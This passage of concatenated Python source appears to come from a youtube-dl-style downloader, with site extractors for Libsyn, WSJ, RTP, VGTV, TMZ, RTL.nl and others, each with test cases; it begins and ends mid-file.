        uploader_id = deliver_info.get('owner_id')

        return {
            'id': video_id,
            'title': title,
            'thumbnail': thumbnail,
            'duration': duration,
            'timestamp': timestamp,
            'uploader_id': uploader_id,
            'formats': formats,
        }






# coding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import unified_strdate


class LibsynIE(InfoExtractor):
    _VALID_URL = r'(?P<mainurl>https?://html5-player\.libsyn\.com/embed/episode/id/(?P<id>[0-9]+))'

    _TESTS = [{
        'url': 'http://html5-player.libsyn.com/embed/episode/id/3377616/',
        'md5': '443360ee1b58007bc3dcf09b41d093bb',
        'info_dict': {
            'id': '3377616',
            'ext': 'mp3',
            'title': "The Daily Show Podcast without Jon Stewart - Episode 12: Bassem Youssef: Egypt's Jon Stewart",
            'description': 'md5:601cb790edd05908957dae8aaa866465',
            'upload_date': '20150220',
            'thumbnail': 're:^https?://.*',
        },
    }, {
        'url': 'https://html5-player.libsyn.com/embed/episode/id/3727166/height/75/width/200/theme/standard/direction/no/autoplay/no/autonext/no/thumbnail/no/preload/no/no_addthis/no/',
        'md5': '6c5cb21acd622d754d3b1a92b582ce42',
        'info_dict': {
            'id': '3727166',
            'ext': 'mp3',
            'title': 'Clients From Hell Podcast - How a Sex Toy Company Kickstarted my Freelance Career',
            'upload_date': '20150818',
            'thumbnail': 're:^https?://.*',
        }
    }]

    def _real_extract(self, url):
        m = re.match(self._VALID_URL, url)
        video_id = m.group('id')
        url = m.group('mainurl')
        webpage = self._download_webpage(url, video_id)

        formats = [{
            'url': media_url,
        } for media_url in set(re.findall('var\s+mediaURL(?:Libsyn)?\s*=\s*"([^"]+)"', webpage))]

        podcast_title = self._search_regex(
            r'<h2>([^<]+)</h2>', webpage, 'podcast title', default=None)
        episode_title = self._search_regex(
            r'(?:<div class="episode-title">|<h3>)([^<]+)</', webpage, 'episode title')

        title = '%s - %s' % (podcast_title, episode_title) if podcast_title else episode_title

        description = self._html_search_regex(
            r'<div id="info_text_body">(.+?)</div>', webpage,
            'description', default=None)
        thumbnail = self._search_regex(
            r'<img[^>]+class="info-show-icon"[^>]+src="([^"]+)"',
            webpage, 'thumbnail', fatal=False)
        release_date = unified_strdate(self._search_regex(
            r'<div class="release_date">Released: ([^<]+)<', webpage, 'release date', fatal=False))

        return {
            'id': video_id,
            'title': title,
            'description': description,
            'thumbnail': thumbnail,
            'upload_date': release_date,
            'formats': formats,
        }






from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import (
    ExtractorError,
    sanitized_Request,
)


class EveryonesMixtapeIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?everyonesmixtape\.com/#/mix/(?P<id>[0-9a-zA-Z]+)(?:/(?P<songnr>[0-9]))?$'

    _TESTS = [{
        'url': 'http://everyonesmixtape.com/#/mix/m7m0jJAbMQi/5',
        'info_dict': {
            'id': '5bfseWNmlds',
            'ext': 'mp4',
            'title': "Passion Pit - \"Sleepyhead\" (Official Music Video)",
            'uploader': 'FKR.TV',
            'uploader_id': 'frenchkissrecords',
            'description': "Music video for \"Sleepyhead\" from Passion Pit's debut EP Chunk Of Change.\nBuy on iTunes: https://itunes.apple.com/us/album/chunk-of-change-ep/id300087641\n\nDirected by The Wilderness.\n\nhttp://www.passionpitmusic.com\nhttp://www.frenchkissrecords.com",
            'upload_date': '20081015'
        },
        'params': {
            'skip_download': True,  # This is simply YouTube
        }
    }, {
        'url': 'http://everyonesmixtape.com/#/mix/m7m0jJAbMQi',
        'info_dict': {
            'id': 'm7m0jJAbMQi',
            'title': 'Driving',
        },
        'playlist_count': 24
    }]

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        playlist_id = mobj.group('id')

        pllist_url = 'http://everyonesmixtape.com/mixtape.php?a=getMixes&u=-1&linked=%s&explore=' % playlist_id
        pllist_req = sanitized_Request(pllist_url)
        pllist_req.add_header('X-Requested-With', 'XMLHttpRequest')

        playlist_list = self._download_json(
            pllist_req, playlist_id, note='Downloading playlist metadata')
        try:
            playlist_no = next(playlist['id']
                               for playlist in playlist_list
                               if playlist['code'] == playlist_id)
        except StopIteration:
            raise ExtractorError('Playlist id not found')

        pl_url = 'http://everyonesmixtape.com/mixtape.php?a=getMix&id=%s&userId=null&code=' % playlist_no
        pl_req = sanitized_Request(pl_url)
        pl_req.add_header('X-Requested-With', 'XMLHttpRequest')
        playlist = self._download_json(
            pl_req, playlist_id, note='Downloading playlist info')

        entries = [{
            '_type': 'url',
            'url': t['url'],
            'title': t['title'],
        } for t in playlist['tracks']]

        if mobj.group('songnr'):
            songnr = int(mobj.group('songnr')) - 1
            return entries[songnr]

        playlist_title = playlist['mixData']['name']
        return {
            '_type': 'playlist',
            'id': playlist_id,
            'title': playlist_title,
            'entries': entries,
        }






# encoding: utf-8
from __future__ import unicode_literals

from .common import InfoExtractor
from ..utils import (
    int_or_none,
    float_or_none,
    unified_strdate,
)


class WSJIE(InfoExtractor):
    _VALID_URL = r'''(?x)https?://
        (?:
            video-api\.wsj\.com/api-video/player/iframe\.html\?guid=|
            (?:www\.)?wsj\.com/video/[^/]+/
        )
        (?P<id>[a-zA-Z0-9-]+)'''
    IE_DESC = 'Wall Street Journal'
    _TESTS = [{
        'url': 'http://video-api.wsj.com/api-video/player/iframe.html?guid=1BD01A4C-BFE8-40A5-A42F-8A8AF9898B1A',
        'md5': 'e230a5bb249075e40793b655a54a02e4',
        'info_dict': {
            'id': '1BD01A4C-BFE8-40A5-A42F-8A8AF9898B1A',
            'ext': 'mp4',
            'upload_date': '20150202',
            'uploader_id': 'jdesai',
            'creator': 'jdesai',
            'categories': list,  # a long list
            'duration': 90,
            'title': 'Bills Coach Rex Ryan Updates His Old Jets Tattoo',
        },
    }, {
        'url': 'http://www.wsj.com/video/can-alphabet-build-a-smarter-city/359DDAA8-9AC1-489C-82E6-0429C1E430E0.html',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        video_id = self._match_id(url)

        api_url = (
            'http://video-api.wsj.com/api-video/find_all_videos.asp?'
            'type=guid&count=1&query=%s&fields=type,hls,videoMP4List,'
            'thumbnailList,author,description,name,duration,videoURL,'
            'titletag,formattedCreationDate,keywords,editor' % video_id)
        info = self._download_json(api_url, video_id)['items'][0]
        title = info.get('name', info.get('titletag'))

        formats = []

        f4m_url = info.get('videoURL')
        if f4m_url:
            formats.extend(self._extract_f4m_formats(
                f4m_url, video_id, f4m_id='hds', fatal=False))

        m3u8_url = info.get('hls')
        if m3u8_url:
            formats.extend(self._extract_m3u8_formats(
                info['hls'], video_id, ext='mp4',
                entry_protocol='m3u8_native', m3u8_id='hls', fatal=False))

        for v in info.get('videoMP4List', []):
            mp4_url = v.get('url')
            if not mp4_url:
                continue
            tbr = int_or_none(v.get('bitrate'))
            formats.append({
                'url': mp4_url,
                'format_id': 'http' + ('-%d' % tbr if tbr else ''),
                'tbr': tbr,
                'width': int_or_none(v.get('width')),
                'height': int_or_none(v.get('height')),
                'fps': float_or_none(v.get('fps')),
            })
        self._sort_formats(formats)

        return {
            'id': video_id,
            'formats': formats,
            # Thumbnails are conveniently in the correct format already
            'thumbnails': info.get('thumbnailList'),
            'creator': info.get('author'),
            'uploader_id': info.get('editor'),
            'duration': int_or_none(info.get('duration')),
            'upload_date': unified_strdate(info.get(
                'formattedCreationDate'), day_first=False),
            'title': title,
            'categories': info.get('keywords'),
        }






# coding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor


class RTPIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?rtp\.pt/play/p(?P<program_id>[0-9]+)/(?P<id>[^/?#]+)/?'
    _TESTS = [{
        'url': 'http://www.rtp.pt/play/p405/e174042/paixoes-cruzadas',
        'md5': 'e736ce0c665e459ddb818546220b4ef8',
        'info_dict': {
            'id': 'e174042',
            'ext': 'mp3',
            'title': 'Paixões Cruzadas',
            'description': 'As paixões musicais de António Cartaxo e António Macedo',
            'thumbnail': 're:^https?://.*\.jpg',
        },
        'params': {
            # rtmp download
            'skip_download': True,
        },
    }, {
        'url': 'http://www.rtp.pt/play/p831/a-quimica-das-coisas',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        video_id = self._match_id(url)

        webpage = self._download_webpage(url, video_id)
        title = self._html_search_meta(
            'twitter:title', webpage, display_name='title', fatal=True)
        description = self._html_search_meta('description', webpage)
        thumbnail = self._og_search_thumbnail(webpage)

        player_config = self._search_regex(
            r'(?s)RTPPLAY\.player\.newPlayer\(\s*(\{.*?\})\s*\)', webpage, 'player config')
        config = self._parse_json(player_config, video_id)

        path, ext = config.get('file').rsplit('.', 1)
        formats = [{
            'format_id': 'rtmp',
            'ext': ext,
            'vcodec': config.get('type') == 'audio' and 'none' or None,
            'preference': -2,
            'url': 'rtmp://{streamer:s}/{application:s}'.format(**config),
            'app': config.get('application'),
            'play_path': '{ext:s}:{path:s}'.format(ext=ext, path=path),
            'page_url': url,
            'rtmp_live': config.get('live', False),
            'player_url': 'http://programas.rtp.pt/play/player.swf?v3',
            'rtmp_real_time': True,
        }]

        # Construct regular HTTP download URLs
        replacements = {
            'audio': {
                'format_id': 'mp3',
                'pattern': r'^nas2\.share/wavrss/',
                'repl': 'http://rsspod.rtp.pt/podcasts/',
                'vcodec': 'none',
            },
            'video': {
                'format_id': 'mp4_h264',
                'pattern': r'^nas2\.share/h264/',
                'repl': 'http://rsspod.rtp.pt/videocasts/',
                'vcodec': 'h264',
            },
        }
        r = replacements[config['type']]
        if re.match(r['pattern'], config['file']) is not None:
            formats.append({
                'format_id': r['format_id'],
                'url': re.sub(r['pattern'], r['repl'], config['file']),
                'vcodec': r['vcodec'],
            })

        self._sort_formats(formats)

        return {
            'id': video_id,
            'title': title,
            'formats': formats,
            'description': description,
            'thumbnail': thumbnail,
        }






# coding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor
from .xstream import XstreamIE
from ..utils import (
    ExtractorError,
    float_or_none,
    try_get,
)


class VGTVIE(XstreamIE):
    IE_DESC = 'VGTV, BTTV, FTV, Aftenposten and Aftonbladet'

    _HOST_TO_APPNAME = {
        'vgtv.no': 'vgtv',
        'bt.no/tv': 'bttv',
        'aftenbladet.no/tv': 'satv',
        'fvn.no/fvntv': 'fvntv',
        'aftenposten.no/webtv': 'aptv',
        'ap.vgtv.no/webtv': 'aptv',
    }

    _APP_NAME_TO_VENDOR = {
        'vgtv': 'vgtv',
        'bttv': 'bt',
        'satv': 'sa',
        'fvntv': 'fvn',
        'aptv': 'ap',
    }

    _VALID_URL = r'''(?x)
                    (?:https?://(?:www\.)?
                    (?P<host>
                        %s
                    )
                    /?
                    (?:
                        \#!/(?:video|live)/|
                        embed?.*id=
                    )|
                    (?P<appname>
                        %s
                    ):)
                    (?P<id>\d+)
                    ''' % ('|'.join(_HOST_TO_APPNAME.keys()), '|'.join(_APP_NAME_TO_VENDOR.keys()))

    _TESTS = [
        {
            # streamType: vod
            'url': 'http://www.vgtv.no/#!/video/84196/hevnen-er-soet-episode-10-abu',
            'md5': 'b8be7a234cebb840c0d512c78013e02f',
            'info_dict': {
                'id': '84196',
                'ext': 'mp4',
                'title': 'Hevnen er søt: Episode 10 - Abu',
                'description': 'md5:e25e4badb5f544b04341e14abdc72234',
                'thumbnail': 're:^https?://.*\.jpg',
                'duration': 648.000,
                'timestamp': 1404626400,
                'upload_date': '20140706',
                'view_count': int,
            },
        },
        {
            # streamType: wasLive
            'url': 'http://www.vgtv.no/#!/live/100764/opptak-vgtv-foelger-em-kvalifiseringen',
            'info_dict': {
                'id': '100764',
                'ext': 'flv',
                'title': 'OPPTAK: VGTV følger EM-kvalifiseringen',
                'description': 'md5:3772d9c0dc2dff92a886b60039a7d4d3',
                'thumbnail': 're:^https?://.*\.jpg',
                'duration': 9103.0,
                'timestamp': 1410113864,
                'upload_date': '20140907',
                'view_count': int,
            },
            'params': {
                # m3u8 download
                'skip_download': True,
            },
            'skip': 'Video is no longer available',
        },
        {
            # streamType: wasLive
            'url': 'http://www.vgtv.no/#!/live/113063/direkte-v75-fra-solvalla',
            'info_dict': {
                'id': '113063',
                'ext': 'mp4',
                'title': 'V75 fra Solvalla 30.05.15',
                'description': 'md5:b3743425765355855f88e096acc93231',
                'thumbnail': 're:^https?://.*\.jpg',
                'duration': 25966,
                'timestamp': 1432975582,
                'upload_date': '20150530',
                'view_count': int,
            },
            'params': {
                # m3u8 download
                'skip_download': True,
            },
        },
        {
            'url': 'http://www.aftenposten.no/webtv/#!/video/21039/trailer-sweatshop-i-can-t-take-any-more',
            'md5': 'fd828cd29774a729bf4d4425fe192972',
            'info_dict': {
                'id': '21039',
                'ext': 'mp4',
                'title': 'TRAILER: «SWEATSHOP» - I can´t take any more',
                'description': 'md5:21891f2b0dd7ec2f78d84a50e54f8238',
                'duration': 66,
                'timestamp': 1417002452,
                'upload_date': '20141126',
                'view_count': int,
            },
            'params': {
                # m3u8 download
                'skip_download': True,
            },
        },
        {
            'url': 'http://www.bt.no/tv/#!/video/100250/norling-dette-er-forskjellen-paa-1-divisjon-og-eliteserien',
            'only_matching': True,
        },
        {
            'url': 'http://ap.vgtv.no/webtv#!/video/111084/de-nye-bysyklene-lettere-bedre-gir-stoerre-hjul-og-feste-til-mobil',
            'only_matching': True,
        },
        {
            # geoblocked
            'url': 'http://www.vgtv.no/#!/video/127205/inside-the-mind-of-favela-funk',
            'only_matching': True,
        },
    ]

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        video_id = mobj.group('id')
        host = mobj.group('host')
        appname = self._HOST_TO_APPNAME[host] if host else mobj.group('appname')
        vendor = self._APP_NAME_TO_VENDOR[appname]

        data = self._download_json(
            'http://svp.vg.no/svp/api/v1/%s/assets/%s?appName=%s-website'
            % (vendor, video_id, appname),
            video_id, 'Downloading media JSON')

        if data.get('status') == 'inactive':
            raise ExtractorError(
                'Video %s is no longer available' % video_id, expected=True)

        info = {
            'formats': [],
        }
        if len(video_id) == 5:
            if appname == 'bttv':
                info = self._extract_video_info('btno', video_id)

        streams = data['streamUrls']
        stream_type = data.get('streamType')

        formats = []

        hls_url = streams.get('hls')
        if hls_url:
            formats.extend(self._extract_m3u8_formats(
                hls_url, video_id, 'mp4', m3u8_id='hls', fatal=False))

        hds_url = streams.get('hds')
        if hds_url:
            hdcore_sign = 'hdcore=3.7.0'
            f4m_formats = self._extract_f4m_formats(
                hds_url + '?%s' % hdcore_sign, video_id, f4m_id='hds', fatal=False)
            if f4m_formats:
                for entry in f4m_formats:
                    # URLs without the extra param induce an 404 error
                    entry.update({'extra_param_to_segment_url': hdcore_sign})
                    formats.append(entry)

        mp4_urls = streams.get('pseudostreaming') or []
        mp4_url = streams.get('mp4')
        if mp4_url:
            mp4_urls.append(mp4_url)
        for mp4_url in mp4_urls:
            format_info = {
                'url': mp4_url,
            }
            mobj = re.search('(\d+)_(\d+)_(\d+)', mp4_url)
            if mobj:
                tbr = int(mobj.group(3))
                format_info.update({
                    'width': int(mobj.group(1)),
                    'height': int(mobj.group(2)),
                    'tbr': tbr,
                    'format_id': 'mp4-%s' % tbr,
                })
            formats.append(format_info)

        info['formats'].extend(formats)

        if not info['formats']:
            properties = try_get(
                data, lambda x: x['streamConfiguration']['properties'], list)
            if properties and 'geoblocked' in properties:
                raise self.raise_geo_restricted()

        self._sort_formats(info['formats'])

        info.update({
            'id': video_id,
            'title': self._live_title(data['title']) if stream_type == 'live' else data['title'],
            'description': data['description'],
            'thumbnail': data['images']['main'] + '?t[]=900x506q80',
            'timestamp': data['published'],
            'duration': float_or_none(data['duration'], 1000),
            'view_count': data['displays'],
            'is_live': True if stream_type == 'live' else False,
        })
        return info


class BTArticleIE(InfoExtractor):
    IE_NAME = 'bt:article'
    IE_DESC = 'Bergens Tidende Articles'
    _VALID_URL = r'https?://(?:www\.)?bt\.no/(?:[^/]+/)+(?P<id>[^/]+)-\d+\.html'
    _TEST = {
        'url': 'http://www.bt.no/nyheter/lokalt/Kjemper-for-internatet-1788214.html',
        'md5': '2acbe8ad129b3469d5ae51b1158878df',
        'info_dict': {
            'id': '23199',
            'ext': 'mp4',
            'title': 'Alrekstad internat',
            'description': 'md5:dc81a9056c874fedb62fc48a300dac58',
            'thumbnail': 're:^https?://.*\.jpg',
            'duration': 191,
            'timestamp': 1289991323,
            'upload_date': '20101117',
            'view_count': int,
        },
    }

    def _real_extract(self, url):
        webpage = self._download_webpage(url, self._match_id(url))
        video_id = self._search_regex(
            r'<video[^>]+data-id="(\d+)"', webpage, 'video id')
        return self.url_result('bttv:%s' % video_id, 'VGTV')


class BTVestlendingenIE(InfoExtractor):
    IE_NAME = 'bt:vestlendingen'
    IE_DESC = 'Bergens Tidende - Vestlendingen'
    _VALID_URL = r'https?://(?:www\.)?bt\.no/spesial/vestlendingen/#!/(?P<id>\d+)'
    _TESTS = [{
        'url': 'http://www.bt.no/spesial/vestlendingen/#!/86588',
        'md5': 'd7d17e3337dc80de6d3a540aefbe441b',
        'info_dict': {
            'id': '86588',
            'ext': 'mov',
            'title': 'Otto Wollertsen',
            'description': 'Vestlendingen Otto Fredrik Wollertsen',
            'timestamp': 1430473209,
            'upload_date': '20150501',
        },
        'skip': '404 Error',
    }, {
        'url': 'http://www.bt.no/spesial/vestlendingen/#!/86255',
        'md5': 'a2893f8632e96389f4bdf36aa9463ceb',
        'info_dict': {
            'id': '86255',
            'ext': 'mov',
            'title': 'Du må tåle å fryse og være sulten',
            'description': 'md5:b8046f4d022d5830ddab04865791d063',
            'upload_date': '20150321',
            'timestamp': 1426942023,
        },
    }]

    def _real_extract(self, url):
        return self.url_result('bttv:%s' % self._match_id(url), 'VGTV')






# coding: utf-8
from __future__ import unicode_literals

from .common import InfoExtractor
from ..utils import (
    ExtractorError,
    remove_end,
)
from .rudo import RudoIE


class BioBioChileTVIE(InfoExtractor):
    _VALID_URL = r'https?://(?:tv|www)\.biobiochile\.cl/(?:notas|noticias)/(?:[^/]+/)+(?P<id>[^/]+)\.shtml'

    _TESTS = [{
        'url': 'http://tv.biobiochile.cl/notas/2015/10/21/sobre-camaras-y-camarillas-parlamentarias.shtml',
        'md5': '26f51f03cf580265defefb4518faec09',
        'info_dict': {
            'id': 'sobre-camaras-y-camarillas-parlamentarias',
            'ext': 'mp4',
            'title': 'Sobre Cámaras y camarillas parlamentarias',
            'thumbnail': 're:^https?://.*\.jpg$',
            'uploader': 'Fernando Atria',
        },
        'skip': 'URL expired and redirected to http://www.biobiochile.cl/portada/bbtv/index.html',
    }, {
        # different uploader layout
        'url': 'http://tv.biobiochile.cl/notas/2016/03/18/natalia-valdebenito-repasa-a-diputado-hasbun-paso-a-la-categoria-de-hablar-brutalidades.shtml',
        'md5': 'edc2e6b58974c46d5b047dea3c539ff3',
        'info_dict': {
            'id': 'natalia-valdebenito-repasa-a-diputado-hasbun-paso-a-la-categoria-de-hablar-brutalidades',
            'ext': 'mp4',
            'title': 'Natalia Valdebenito repasa a diputado Hasbún: Pasó a la categoría de hablar brutalidades',
            'thumbnail': 're:^https?://.*\.jpg$',
            'uploader': 'Piangella Obrador',
        },
        'params': {
            'skip_download': True,
        },
        'skip': 'URL expired and redirected to http://www.biobiochile.cl/portada/bbtv/index.html',
    }, {
        'url': 'http://www.biobiochile.cl/noticias/bbtv/comentarios-bio-bio/2016/07/08/edecanes-del-congreso-figuras-decorativas-que-le-cuestan-muy-caro-a-los-chilenos.shtml',
        'info_dict': {
            'id': 'edecanes-del-congreso-figuras-decorativas-que-le-cuestan-muy-caro-a-los-chilenos',
            'ext': 'mp4',
            'uploader': '(none)',
            'upload_date': '20160708',
            'title': 'Edecanes del Congreso: Figuras decorativas que le cuestan muy caro a los chilenos',
        },
    }, {
        'url': 'http://tv.biobiochile.cl/notas/2015/10/22/ninos-transexuales-de-quien-es-la-decision.shtml',
        'only_matching': True,
    }, {
        'url': 'http://tv.biobiochile.cl/notas/2015/10/21/exclusivo-hector-pinto-formador-de-chupete-revela-version-del-ex-delantero-albo.shtml',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        video_id = self._match_id(url)

        webpage = self._download_webpage(url, video_id)

        rudo_url = RudoIE._extract_url(webpage)
        if not rudo_url:
            raise ExtractorError('No videos found')

        title = remove_end(self._og_search_title(webpage), ' - BioBioChile TV')

        thumbnail = self._og_search_thumbnail(webpage)
        uploader = self._html_search_regex(
            r'<a[^>]+href=["\']https?://(?:busca|www)\.biobiochile\.cl/(?:lista/)?(?:author|autor)[^>]+>(.+?)</a>',
            webpage, 'uploader', fatal=False)

        return {
            '_type': 'url_transparent',
            'url': rudo_url,
            'id': video_id,
            'title': title,
            'thumbnail': thumbnail,
            'uploader': uploader,
        }






# coding: utf-8
from __future__ import unicode_literals

import random

from .common import InfoExtractor
from ..utils import xpath_text


class MatchTVIE(InfoExtractor):
    _VALID_URL = r'https?://matchtv\.ru(?:/on-air|/?#live-player)'
    _TESTS = [{
        'url': 'http://matchtv.ru/#live-player',
        'info_dict': {
            'id': 'matchtv-live',
            'ext': 'flv',
            'title': 're:^Матч ТВ - Прямой эфир \d{4}-\d{2}-\d{2} \d{2}:\d{2}$',
            'is_live': True,
        },
        'params': {
            'skip_download': True,
        },
    }, {
        'url': 'http://matchtv.ru/on-air/',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        video_id = 'matchtv-live'
        video_url = self._download_json(
            'http://player.matchtv.ntvplus.tv/player/smil', video_id,
            query={
                'ts': '',
                'quality': 'SD',
                'contentId': '561d2c0df7159b37178b4567',
                'sign': '',
                'includeHighlights': '0',
                'userId': '',
                'sessionId': random.randint(1, 1000000000),
                'contentType': 'channel',
                'timeShift': '0',
                'platform': 'portal',
            },
            headers={
                'Referer': 'http://player.matchtv.ntvplus.tv/embed-player/NTVEmbedPlayer.swf',
            })['data']['videoUrl']
        f4m_url = xpath_text(self._download_xml(video_url, video_id), './to')
        formats = self._extract_f4m_formats(f4m_url, video_id)
        self._sort_formats(formats)
        return {
            'id': video_id,
            'title': self._live_title('Матч ТВ - Прямой эфир'),
            'is_live': True,
            'formats': formats,
        }






# coding: utf-8
from __future__ import unicode_literals

from .common import InfoExtractor


class TMZIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?tmz\.com/videos/(?P<id>[^/?#]+)'
    _TESTS = [{
        'url': 'http://www.tmz.com/videos/0_okj015ty/',
        'md5': '4d22a51ef205b6c06395d8394f72d560',
        'info_dict': {
            'id': '0_okj015ty',
            'ext': 'mp4',
            'title': 'Kim Kardashian\'s Boobs Unlock a Mystery!',
            'description': 'Did Kim Kardasain try to one-up Khloe by one-upping Kylie???  Or is she just showing off her amazing boobs?',
            'timestamp': 1394747163,
            'uploader_id': 'batchUser',
            'upload_date': '20140313',
        }
    }, {
        'url': 'http://www.tmz.com/videos/0-cegprt2p/',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        video_id = self._match_id(url).replace('-', '_')
        return self.url_result('kaltura:591531:%s' % video_id, 'Kaltura', video_id)


class TMZArticleIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?tmz\.com/\d{4}/\d{2}/\d{2}/(?P<id>[^/]+)/?'
    _TEST = {
        'url': 'http://www.tmz.com/2015/04/19/bobby-brown-bobbi-kristina-awake-video-concert',
        'md5': 'e482a414a38db73087450e3a6ce69d00',
        'info_dict': {
            'id': '0_6snoelag',
            'ext': 'mp4',
            'title': 'Bobby Brown Tells Crowd ... Bobbi Kristina is Awake',
            'description': 'Bobby Brown stunned his audience during a concert Saturday night, when he told the crowd, "Bobbi is awake.  She\'s watching me."',
        }
    }

    def _real_extract(self, url):
        video_id = self._match_id(url)

        webpage = self._download_webpage(url, video_id)
        embedded_video_info_str = self._html_search_regex(
            r'tmzVideoEmbedV2\("([^)]+)"\);', webpage, 'embedded video info')

        embedded_video_info = self._parse_json(
            embedded_video_info_str, video_id,
            transform_source=lambda s: s.replace('\\', ''))

        return self.url_result(
            'http://www.tmz.com/videos/%s/' % embedded_video_info['id'])






# coding: utf-8
from __future__ import unicode_literals

from .common import InfoExtractor
from ..utils import (
    int_or_none,
    parse_duration,
)


class RtlNlIE(InfoExtractor):
    IE_NAME = 'rtl.nl'
    IE_DESC = 'rtl.nl and rtlxl.nl'
    _VALID_URL = r'''(?x)
        https?://(?:www\.)?
        (?:
            rtlxl\.nl/[^\#]*\#!/[^/]+/|
            rtl\.nl/system/videoplayer/(?:[^/]+/)+(?:video_)?embed\.html\b.+?\buuid=
        )
        (?P<id>[0-9a-f-]+)'''

    _TESTS = [{
        'url': 'http://www.rtlxl.nl/#!/rtl-nieuws-132237/82b1aad1-4a14-3d7b-b554-b0aed1b2c416',
        'md5': '473d1946c1fdd050b2c0161a4b13c373',
        'info_dict': {
            'id': '82b1aad1-4a14-3d7b-b554-b0aed1b2c416',
            'ext': 'mp4',
            'title': 'RTL Nieuws',
            'description': 'md5:d41d8cd98f00b204e9800998ecf8427e',
            'timestamp': 1461951000,
            'upload_date': '20160429',
            'duration': 1167.96,
        },
    }, {
        # best format avaialble a3t
        'url': 'http://www.rtl.nl/system/videoplayer/derden/rtlnieuws/video_embed.html#uuid=84ae5571-ac25-4225-ae0c-ef8d9efb2aed/autoplay=false',
        'md5': 'dea7474214af1271d91ef332fb8be7ea',
        'info_dict': {
            'id': '84ae5571-ac25-4225-ae0c-ef8d9efb2aed',
            'ext': 'mp4',
            'timestamp': 1424039400,
            'title': 'RTL Nieuws - Nieuwe beelden Kopenhagen: chaos direct na aanslag',
            'thumbnail': 're:^https?://screenshots\.rtl\.nl/(?:[^/]+/)*sz=[0-9]+x[0-9]+/uuid=84ae5571-ac25-4225-ae0c-ef8d9efb2aed$',
            'upload_date': '20150215',
            'description': 'Er zijn nieuwe beelden vrijgegeven die vlak na de aanslag in Kopenhagen zijn gemaakt. Op de video is goed te zien hoe omstanders zich bekommeren om één van de slachtoffers, terwijl de eerste agenten ter plaatse komen.',
        }
    }, {
        # empty synopsis and missing episodes (see https://github.com/rg3/youtube-dl/issues/6275)
        # best format available nettv
        'url': 'http://www.rtl.nl/system/videoplayer/derden/rtlnieuws/video_embed.html#uuid=f536aac0-1dc3-4314-920e-3bd1c5b3811a/autoplay=false',
        'info_dict': {
            'id': 'f536aac0-1dc3-4314-920e-3bd1c5b3811a',
            'ext': 'mp4',
            'title': 'RTL Nieuws - Meer beelden van overval juwelier',
            'thumbnail': 're:^https?://screenshots\.rtl\.nl/(?:[^/]+/)*sz=[0-9]+x[0-9]+/uuid=f536aac0-1dc3-4314-920e-3bd1c5b3811a$',
            'timestamp': 1437233400,
            'upload_date': '20150718',
            'duration': 30.474,
        },
        'params': {
            'skip_download': True,
        },
    }, {
        # encrypted m3u8 streams, georestricted
        'url': 'http://www.rtlxl.nl/#!/afl-2-257632/52a74543-c504-4cde-8aa8-ec66fe8d68a7',
        'only_matching': True,
    }, {
        'url': 'http://www.rtl.nl/system/videoplayer/derden/embed.html#!/uuid=bb0353b0-d6a4-1dad-90e9-18fe75b8d1f0',
        'only_matching': True,
    }, {
        'url': 'http://rtlxl.nl/?_ga=1.204735956.572365465.1466978370#!/rtl-nieuws-132237/3c487912-023b-49ac-903e-2c5d79f8410f',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        uuid = self._match_id(url)
        info = self._download_json(
            'http://www.rtl.nl/system/s4m/vfd/version=2/uuid=%s/fmt=adaptive/' % uuid,
            uuid)

        material = info['material'][0]
        title = info['abstracts'][0]['name']
        subtitle = material.get('title')
        if subtitle:
            title += ' - %s' % subtitle
        description = material.get('synopsis')

        meta = info.get('meta', {})

        # m3u8 streams are encrypted and may not be handled properly by older ffmpeg/avconv.
        # To workaround this previously adaptive -> flash trick was used to obtain
        # unencrypted m3u8 streams (see https://github.com/rg3/youtube-dl/issues/4118)
        # and bypass georestrictions as well.
        # Currently, unencrypted m3u8 playlists are (intentionally?) invalid and therefore
        # unusable albeit can be fixed by simple string replacement (see
        # https://github.com/rg3/youtube-dl/pull/6337)
        # Since recent ffmpeg and avconv handle encrypted streams just fine encrypted
        # streams are used now.
        videopath = material['videopath']
        m3u8_url = meta.get('videohost', 'http://manifest.us.rtl.nl') + videopath

        formats = self._extract_m3u8_formats(
            m3u8_url, uuid, 'mp4', m3u8_id='hls', fatal=False)

        video_urlpart = videopath.split('/adaptive/')[1][:-5]
        PG_URL_TEMPLATE = 'http://pg.us.rtl.nl/rtlxl/network/%s/progressive/%s.mp4'

        PG_FORMATS = (
            ('a2t', 512, 288),
            ('a3t', 704, 400),
            ('nettv', 1280, 720),
        )

        def pg_format(format_id, width, height):
            return {
                'url': PG_URL_TEMPLATE % (format_id, video_urlpart),
                'format_id': 'pg-%s' % format_id,
                'protocol': 'http',
                'width': width,
                'height': height,
            }

        if not formats:
            formats = [pg_format(*pg_tuple) for pg_tuple in PG_FORMATS]
        else:
            pg_formats = []
            for format_id, width, height in PG_FORMATS:
                try:
                    # Find hls format with the same width and height corresponding
                    # to progressive format and copy metadata from it.
                    f = next(f for f in formats if f.get('height') == height)
                    # hls formats may have invalid width
                    f['width'] = width
                    f_copy = f.copy()
                    f_copy.update(pg_format(format_id, width, height))
                    pg_formats.append(f_copy)
                except StopIteration:
                    # Missing hls format does mean that no progressive format with
                    # such width and height exists either.
                    pass
            formats.extend(pg_formats)
        self._sort_formats(formats)

        thumbnails = []

        for p in ('poster_base_url', '"thumb_base_url"'):
            if not meta.get(p):
                continue

            thumbnails.append({
                'url': self._proto_relative_url(meta[p] + uuid),
                'width': int_or_none(self._search_regex(
                    r'/sz=([0-9]+)', meta[p], 'thumbnail width', fatal=False)),
                'height': int_or_none(self._search_regex(
                    r'/sz=[0-9]+x([0-9]+)',
                    meta[p], 'thumbnail height', fatal=False))
            })

        return {
            'id': uuid,
            'title': title,
            'formats': formats,
